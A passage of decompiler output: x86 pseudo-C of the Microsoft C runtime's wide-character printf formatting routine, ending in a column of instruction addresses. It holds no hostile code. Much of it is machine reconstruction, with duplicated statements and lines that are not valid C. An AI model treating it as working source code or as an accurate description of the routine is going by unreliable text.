																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__eax =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L214;
																						case 2:
																							L20:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e4) = __ecx;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																							if( *(__ebp - 0x4e4) > 0x10) {
																								goto L27;
																							}
																							L21:
																							_t57 =  *(__ebp - 0x4e4) + 0x43c97c; // 0x498d04
																							__ecx =  *_t57 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C964))) {
																								case 0:
																									goto L24;
																								case 1:
																									goto L25;
																								case 2:
																									goto L23;
																								case 3:
																									goto L22;
																								case 4:
																									goto L26;
																								case 5:
																									goto L27;
																							}
																						case 3:
																							L28:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								 *(__ebp - 0x18) =  *(__ebp - 0x18) * 0xa;
																								_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__ecx =  *(__ebp - 0x18) * 0xa + _t81;
																								 *(__ebp - 0x18) = __ecx;
																							} else {
																								__edx = __ebp + 0x14;
																								 *(__ebp - 0x18) = E004284A0(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																									__ecx =  *(__ebp - 0x18);
																									__ecx =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) = __ecx;
																								}
																							}
																							goto L214;
																						case 4:
																							L34:
																							 *(__ebp - 0x30) = 0;
																							goto L214;
																						case 5:
																							L35:
																							__edx =  *(__ebp - 0x454) & 0x0000ffff;
																							if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																								__ecx =  *(__ebp - 0x30);
																								__ecx =  *(__ebp - 0x30) * 0xa;
																								_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																								__eax = __ecx + _t92;
																								 *(__ebp - 0x30) = __ecx + _t92;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x30) = E004284A0(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L214;
																						case 6:
																							L41:
																							__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																							 *(__ebp - 0x4e8) = __ecx;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																							if( *(__ebp - 0x4e8) > 0x2e) {
																								L64:
																								goto L214;
																							}
																							L42:
																							_t100 =  *(__ebp - 0x4e8) + 0x43c9a4; // 0xc1b19003
																							__ecx =  *_t100 & 0x000000ff;
																							switch( *((intOrPtr*)(__ecx * 4 +  &M0043C990))) {
																								case 0:
																									L47:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																										L50:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																										if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																											L53:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x64) {
																												L59:
																												L61:
																												goto L64;
																											}
																											L54:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x69) {
																												goto L59;
																											}
																											L55:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																												goto L59;
																											}
																											L56:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx & 0x0000ffff;
																											if(( *__ecx & 0x0000ffff) == 0x75) {
																												goto L59;
																											}
																											L57:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(__ecx == 0x78) {
																												goto L59;
																											}
																											L58:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																											if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																												 *(__ebp - 0x45c) = 0;
																												goto L18;
																											}
																											goto L59;
																										}
																										L51:
																										__eax =  *(__ebp + 0xc);
																										__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																										if(__ecx != 0x32) {
																											goto L53;
																										} else {
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																											goto L61;
																										}
																									}
																									L48:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																									if(__ecx != 0x34) {
																										goto L50;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																										goto L61;
																									}
																								case 1:
																									L62:
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) = __ecx;
																									goto L64;
																								case 2:
																									L43:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																									if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000010;
																									} else {
																										__ecx =  *(__ebp + 0xc);
																										__ecx =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) = __ecx;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L64;
																								case 3:
																									L63:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L64;
																								case 4:
																									goto L64;
																							}
																						case 7:
																							goto L65;
																						case 8:
																							L24:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) = __ecx;
																							goto L27;
																						case 9:
																							L25:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L27;
																						case 0xa:
																							L23:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000001;
																							goto L27;
																						case 0xb:
																							L22:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L27;
																						case 0xc:
																							L26:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000008;
																							goto L27;
																						case 0xd:
																							L27:
																							goto L214;
																					}
																				} else {
																					_t640 = 0;
																					if(0 == 0) {
																						 *(_t672 - 0x4dc) = 0;
																					} else {
																						 *(_t672 - 0x4dc) = 1;
																					}
																					 *(_t672 - 0x46c) =  *(_t672 - 0x4dc);
																					if( *(_t672 - 0x46c) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t517 = L0041E350();
																						_t675 = _t675 + 0x14;
																						if(_t517 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t672 - 0x46c) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422E40(_t586))) = 0x16;
																						E00422BD0(_t565, _t586, _t670, _t671, L"(\"Incorrect format specifier\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t672 - 0x4c8) = 0xffffffff;
																						E0041ADF0(_t672 - 0x40);
																						_t502 =  *(_t672 - 0x4c8);
																						L225:
																						return E0042BDF0(_t502, _t565,  *(_t672 - 0x48) ^ _t672, _t640, _t670, _t671);
																					}
																				}
																			}
																			L215:
																			if( *(_t672 - 0x45c) == 0 ||  *(_t672 - 0x45c) == 7) {
																				 *(_t672 - 0x4f8) = 1;
																			} else {
																				 *(_t672 - 0x4f8) = 0;
																			}
																			_t640 =  *(_t672 - 0x4f8);
																			 *(_t672 - 0x4bc) =  *(_t672 - 0x4f8);
																			if( *(_t672 - 0x4bc) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t507 = L0041E350();
																				_t675 = _t675 + 0x14;
																				if(_t507 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t672 - 0x4bc) != 0) {
																				 *(_t672 - 0x4d4) =  *(_t672 - 0x44c);
																				E0041ADF0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d4);
																			} else {
																				 *((intOrPtr*)(L00422E40(_t578))) = 0x16;
																				E00422BD0(_t565, _t578, _t670, _t671, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t672 - 0x4d0) = 0xffffffff;
																				E0041ADF0(_t672 - 0x40);
																				_t502 =  *(_t672 - 0x4d0);
																			}
																			goto L225;
																		}
																		L188:
																		if(( *(_t672 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t672 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t672 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t672 - 0x10) & 0x00000002) != 0) {
																						 *((short*)(_t672 - 0x14)) = 0x20;
																						 *(_t672 - 0x1c) = 1;
																					}
																				} else {
																					 *((short*)(_t672 - 0x14)) = 0x2b;
																					 *(_t672 - 0x1c) = 1;
																				}
																			} else {
																				 *((short*)(_t672 - 0x14)) = 0x2d;
																				 *(_t672 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t672 - 0x4ac)) =  *((intOrPtr*)(_t672 - 0x18)) -  *((intOrPtr*)(_t672 - 0x24)) -  *(_t672 - 0x1c);
																		if(( *(_t672 - 0x10) & 0x0000000c) == 0) {
																			E0043CAB0(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		E0043CAF0( *(_t672 - 0x1c), _t672 - 0x14,  *(_t672 - 0x1c),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																		_t675 = _t675 + 0x10;
																		if(( *(_t672 - 0x10) & 0x00000008) != 0 && ( *(_t672 - 0x10) & 0x00000004) == 0) {
																			E0043CAB0(0x30,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																		}
																		if( *(_t672 - 0xc) != 0 ||  *((intOrPtr*)(_t672 - 0x24)) <= 0) {
																			L208:
																			E0043CAF0( *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 - 4)),  *((intOrPtr*)(_t672 - 0x24)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																			_t675 = _t675 + 0x10;
																			goto L209;
																		} else {
																			L202:
																			 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 4));
																			 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x24));
																			while(1) {
																				L203:
																				 *((intOrPtr*)(_t672 - 0x4b4)) =  *((intOrPtr*)(_t672 - 0x4b4)) - 1;
																				if( *((intOrPtr*)(_t672 - 0x4b4)) <= 0) {
																					break;
																				}
																				L204:
																				_t535 = E0041AE20(_t672 - 0x40);
																				_t539 = E0043B550(_t672 - 0x458,  *((intOrPtr*)(_t672 - 0x4b0)),  *((intOrPtr*)( *((intOrPtr*)(E0041AE20(_t672 - 0x40))) + 0xac)), _t535);
																				_t675 = _t675 + 0x10;
																				 *((intOrPtr*)(_t672 - 0x4b8)) = _t539;
																				if( *((intOrPtr*)(_t672 - 0x4b8)) > 0) {
																					L206:
																					E0043CA50( *(_t672 - 0x458) & 0x0000ffff,  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																					_t675 = _t675 + 0xc;
																					 *((intOrPtr*)(_t672 - 0x4b0)) =  *((intOrPtr*)(_t672 - 0x4b0)) +  *((intOrPtr*)(_t672 - 0x4b8));
																					continue;
																				}
																				L205:
																				 *(_t672 - 0x44c) = 0xffffffff;
																				break;
																			}
																			L207:
																			L209:
																			if( *(_t672 - 0x44c) >= 0 && ( *(_t672 - 0x10) & 0x00000004) != 0) {
																				E0043CAB0(0x20,  *((intOrPtr*)(_t672 - 0x4ac)),  *((intOrPtr*)(_t672 + 8)), _t672 - 0x44c);
																				_t675 = _t675 + 0x10;
																			}
																			goto L212;
																		}
																		L65:
																		__eax =  *(__ebp - 0x454) & 0x0000ffff;
																		 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																		__ecx =  *(__ebp - 0x4ec);
																		__ecx =  *(__ebp - 0x4ec) - 0x41;
																		 *(__ebp - 0x4ec) = __ecx;
																	} while ( *(__ebp - 0x4ec) > 0x37);
																	__edx =  *(__ebp - 0x4ec);
																	_t141 = __edx + 0x43ca10; // 0xcccccc0d
																	__eax =  *_t141 & 0x000000ff;
																	switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043C9D4))) {
																		case 0:
																			L120:
																			 *(__ebp - 0x2c) = 1;
																			 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																			 *(__ebp - 0x454) = __ax;
																			goto L121;
																		case 1:
																			L67:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L69;
																		case 2:
																			L82:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																			if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																			}
																			goto L84;
																		case 3:
																			L143:
																			 *((intOrPtr*)(__ebp - 0x460)) = 7;
																			goto L145;
																		case 4:
																			L75:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x474) = E004284A0(__ebp + 0x14);
																			if( *(__ebp - 0x474) == 0) {
																				L77:
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																				L81:
																				goto L187;
																			}
																			L76:
																			__ecx =  *(__ebp - 0x474);
																			if( *((intOrPtr*)( *(__ebp - 0x474) + 4)) != 0) {
																				L78:
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																				if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																					 *(__ebp - 0xc) = 0;
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__edx =  *__ecx;
																					 *(__ebp - 0x24) =  *__ecx;
																				} else {
																					__edx =  *(__ebp - 0x474);
																					__eax =  *(__edx + 4);
																					 *(__ebp - 4) =  *(__edx + 4);
																					__ecx =  *(__ebp - 0x474);
																					__eax =  *__ecx;
																					asm("cdq");
																					 *__ecx - __edx =  *__ecx - __edx >> 1;
																					 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																					 *(__ebp - 0xc) = 1;
																				}
																				goto L81;
																			}
																			goto L77;
																		case 5:
																			L121:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x44) = 0x200;
																			if( *(__ebp - 0x30) >= 0) {
																				L123:
																				if( *(__ebp - 0x30) != 0) {
																					L126:
																					if( *(__ebp - 0x30) > 0x200) {
																						 *(__ebp - 0x30) = 0x200;
																					}
																					L128:
																					if( *(__ebp - 0x30) > 0xa3) {
																						__ecx =  *(__ebp - 0x30);
																						__ecx =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x20) = L0041B890( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																						if( *(__ebp - 0x20) == 0) {
																							 *(__ebp - 0x30) = 0xa3;
																						} else {
																							__edx =  *(__ebp - 0x20);
																							 *(__ebp - 4) =  *(__ebp - 0x20);
																							 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																							 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																						}
																					}
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																					__edx =  *(__ebp + 0x14);
																					__eax =  *(__edx - 8);
																					__ecx =  *(__edx - 4);
																					 *(__ebp - 0x490) =  *(__edx - 8);
																					 *(__ebp - 0x48c) =  *(__edx - 4);
																					__ecx = __ebp - 0x40;
																					_push(E0041AE20(__ebp - 0x40));
																					__edx =  *(__ebp - 0x2c);
																					_push( *(__ebp - 0x2c));
																					__eax =  *(__ebp - 0x30);
																					_push( *(__ebp - 0x30));
																					__ecx =  *(__ebp - 0x454);
																					_push( *(__ebp - 0x454));
																					__edx =  *(__ebp - 0x44);
																					_push( *(__ebp - 0x44));
																					__eax =  *(__ebp - 4);
																					_push( *(__ebp - 4));
																					__ecx = __ebp - 0x490;
																					_push(__ebp - 0x490);
																					__edx =  *0x440374; // 0x7e8e98dc
																					E00424690(__edx) =  *__eax();
																					__esp = __esp + 0x1c;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) != 0 &&  *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE20(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0x8a8e9826
																						E00424690(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																					__eax =  *(__ebp - 0x454) & 0x0000ffff;
																					if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																						if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																							__ecx = __ebp - 0x40;
																							_push(E0041AE20(__ebp - 0x40));
																							__edx =  *(__ebp - 4);
																							_push( *(__ebp - 4));
																							__eax =  *0x44037c; // 0xc28e9826
																							__eax =  *__eax();
																							__esp = __esp + 8;
																						}
																					}
																					__ecx =  *(__ebp - 4);
																					__edx =  *( *(__ebp - 4));
																					if( *( *(__ebp - 4)) == 0x2d) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																						 *(__ebp - 4) =  *(__ebp - 4) + 1;
																					}
																					__edx =  *(__ebp - 4);
																					 *(__ebp - 0x24) = E0041DDF0( *(__ebp - 4));
																					goto L187;
																				}
																				L124:
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				if(( *(__ebp - 0x454) & 0x0000ffff) != 0x67) {
																					goto L126;
																				}
																				L125:
																				 *(__ebp - 0x30) = 1;
																				goto L128;
																			}
																			L122:
																			 *(__ebp - 0x30) = 6;
																			goto L128;
																		case 6:
																			L69:
																			 *(__ebp - 0xc) = 1;
																			__ebp + 0x14 = E004284A0(__ebp + 0x14);
																			 *(__ebp - 0x458) = __ax;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) & 0x00000020;
																			if(__ecx == 0) {
																				 *(__ebp - 0x448) =  *(__ebp - 0x458);
																			} else {
																				 *(__ebp - 0x458) & 0x0000ffff =  *(__ebp - 0x458) & 0xff;
																				 *(__ebp - 0x470) = __dl;
																				 *((char*)(__ebp - 0x46f)) = 0;
																				__ecx = __ebp - 0x40;
																				__eax = E0041AE20(__ebp - 0x40);
																				__ecx = __ebp - 0x40;
																				E0041AE20(__ebp - 0x40) =  *__eax;
																				__ecx =  *(__ebp - 0x448 + 0xac);
																				__edx = __ebp - 0x470;
																				__eax = __ebp - 0x448;
																				if(E0043B550(__ebp - 0x448, __ebp - 0x470,  *(__ebp - 0x448 + 0xac), __ebp - 0x448) < 0) {
																					 *(__ebp - 0x28) = 1;
																				}
																			}
																			__edx = __ebp - 0x448;
																			 *(__ebp - 4) = __ebp - 0x448;
																			 *(__ebp - 0x24) = 1;
																			goto L187;
																		case 7:
																			L141:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																			 *(__ebp - 8) = 0xa;
																			goto L150;
																		case 8:
																			L106:
																			__eax = __ebp + 0x14;
																			 *(__ebp - 0x484) = E004284A0(__ebp + 0x14);
																			if(E00434040() != 0) {
																				L116:
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0x00000020;
																				if(__ecx == 0) {
																					__ecx =  *(__ebp - 0x484);
																					__edx =  *(__ebp - 0x44c);
																					 *__ecx =  *(__ebp - 0x44c);
																				} else {
																					__edx =  *(__ebp - 0x484);
																					__ax =  *(__ebp - 0x44c);
																					 *( *(__ebp - 0x484)) = __ax;
																				}
																				 *(__ebp - 0x28) = 1;
																				goto L187;
																			}
																			L107:
																			__ecx = 0;
																			if(0 == 0) {
																				 *(__ebp - 0x4f4) = 0;
																			} else {
																				 *(__ebp - 0x4f4) = 1;
																			}
																			__edx =  *(__ebp - 0x4f4);
																			 *(__ebp - 0x488) =  *(__ebp - 0x4f4);
																			if( *(__ebp - 0x488) == 0) {
																				_push(L"(\"\'n\' format specifier disabled\", 0)");
																				_push(0);
																				_push(0x695);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				__eax = L0041E350();
																				__esp = __esp + 0x14;
																				if(__eax == 1) {
																					asm("int3");
																				}
																			}
																			if( *(__ebp - 0x488) != 0) {
																				L115:
																				goto L187;
																			} else {
																				L114:
																				 *((intOrPtr*)(L00422E40(__ecx))) = 0x16;
																				__eax = E00422BD0(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_woutput_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																				 *(__ebp - 0x4cc) = 0xffffffff;
																				__ecx = __ebp - 0x40;
																				__eax = E0041ADF0(__ecx);
																				__eax =  *(__ebp - 0x4cc);
																				goto L225;
																			}
																		case 9:
																			L148:
																			 *(__ebp - 8) = 8;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000200;
																			}
																			goto L150;
																		case 0xa:
																			L142:
																			 *(__ebp - 0x30) = 8;
																			goto L143;
																		case 0xb:
																			L84:
																			if( *(__ebp - 0x30) != 0xffffffff) {
																				__edx =  *(__ebp - 0x30);
																				 *(__ebp - 0x4f0) =  *(__ebp - 0x30);
																			} else {
																				 *(__ebp - 0x4f0) = 0x7fffffff;
																			}
																			__eax =  *(__ebp - 0x4f0);
																			 *(__ebp - 0x47c) =  *(__ebp - 0x4f0);
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 4) = E004284A0(__ebp + 0x14);
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				L98:
																				if( *(__ebp - 4) == 0) {
																					__ecx =  *0x440f84; // 0x404438
																					 *(__ebp - 4) = __ecx;
																				}
																				 *(__ebp - 0xc) = 1;
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x480) =  *(__ebp - 4);
																				while(1) {
																					L101:
																					__eax =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c);
																					__ecx =  *(__ebp - 0x47c) - 1;
																					 *(__ebp - 0x47c) = __ecx;
																					if( *(__ebp - 0x47c) == 0) {
																						break;
																					}
																					L102:
																					__edx =  *(__ebp - 0x480);
																					__eax =  *( *(__ebp - 0x480)) & 0x0000ffff;
																					if(( *( *(__ebp - 0x480)) & 0x0000ffff) == 0) {
																						break;
																					}
																					L103:
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																					 *(__ebp - 0x480) =  *(__ebp - 0x480) + 2;
																				}
																				L104:
																				 *(__ebp - 0x480) =  *(__ebp - 0x480) -  *(__ebp - 4);
																				__edx =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				 *(__ebp - 0x24) =  *(__ebp - 0x480) -  *(__ebp - 4) >> 1;
																				goto L105;
																			} else {
																				L88:
																				if( *(__ebp - 4) == 0) {
																					__eax =  *0x440f80; // 0x404448
																					 *(__ebp - 4) = __eax;
																				}
																				__ecx =  *(__ebp - 4);
																				 *(__ebp - 0x478) = __ecx;
																				 *(__ebp - 0x24) = 0;
																				while(1) {
																					L92:
																					__eax =  *(__ebp - 0x24);
																					if( *(__ebp - 0x24) >=  *(__ebp - 0x47c)) {
																						break;
																					}
																					L93:
																					__ecx =  *(__ebp - 0x478);
																					__edx =  *__ecx;
																					if( *__ecx == 0) {
																						break;
																					}
																					L94:
																					__ecx = __ebp - 0x40;
																					E0041AE20(__ebp - 0x40) =  *(__ebp - 0x478);
																					__ecx =  *( *(__ebp - 0x478)) & 0x000000ff;
																					if(E00431350( *( *(__ebp - 0x478)) & 0x000000ff,  *(__ebp - 0x478)) != 0) {
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																						 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					}
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x478) =  *(__ebp - 0x478) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																					 *(__ebp - 0x24) =  *(__ebp - 0x24) + 1;
																				}
																				L97:
																				L105:
																				goto L187;
																			}
																		case 0xc:
																			goto L0;
																		case 0xd:
																			L144:
																			 *((intOrPtr*)(__ebp - 0x460)) = 0x27;
																			L145:
																			 *(__ebp - 8) = 0x10;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																			if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																				__edx = 0x30;
																				 *((short*)(__ebp - 0x14)) = __dx;
																				 *((intOrPtr*)(__ebp - 0x460)) =  *((intOrPtr*)(__ebp - 0x460)) + 0x51;
																				 *(__ebp - 0x12) = __ax;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L150;
																		case 0xe:
																			goto L187;
																	}
																}
															}
														}
													}
												}
											}
										}
									}
								}
							}
						}
					}
				}
			}

0x0043c36d
0x0043c36d
0x0043c36d
0x0043c36d
0x0043c36d
0x0043c36d
0x0043c36d
0x0043c36d
0x00000000
0x0043c3e2
0x00000000
0x0043c3e2
0x00000000
0x0043c3e2
0x0043c3e2
0x0043c3ea
0x0043c40c
0x0043c412
0x0043c437
0x0043c47e
0x0043c481
0x0043c4a2
0x0043c4a7
0x0043c4ac
0x0043c4b2
0x0043c483
0x0043c487
0x0043c48c
0x0043c48f
0x0043c490
0x0043c496
0x0043c496
0x0043c439
0x0043c43c
0x0043c43f
0x0043c461
0x0043c466
0x0043c46c
0x0043c46d
0x0043c473
0x0043c441
0x0043c445
0x0043c44a
0x0043c44e
0x0043c44f
0x0043c455
0x0043c455
0x0043c479
0x0043c414
0x0043c418
0x0043c41d
0x0043c420
0x0043c426
0x0043c426
0x0043c3ec
0x0043c3f0
0x0043c3f5
0x0043c3f8
0x0043c3fe
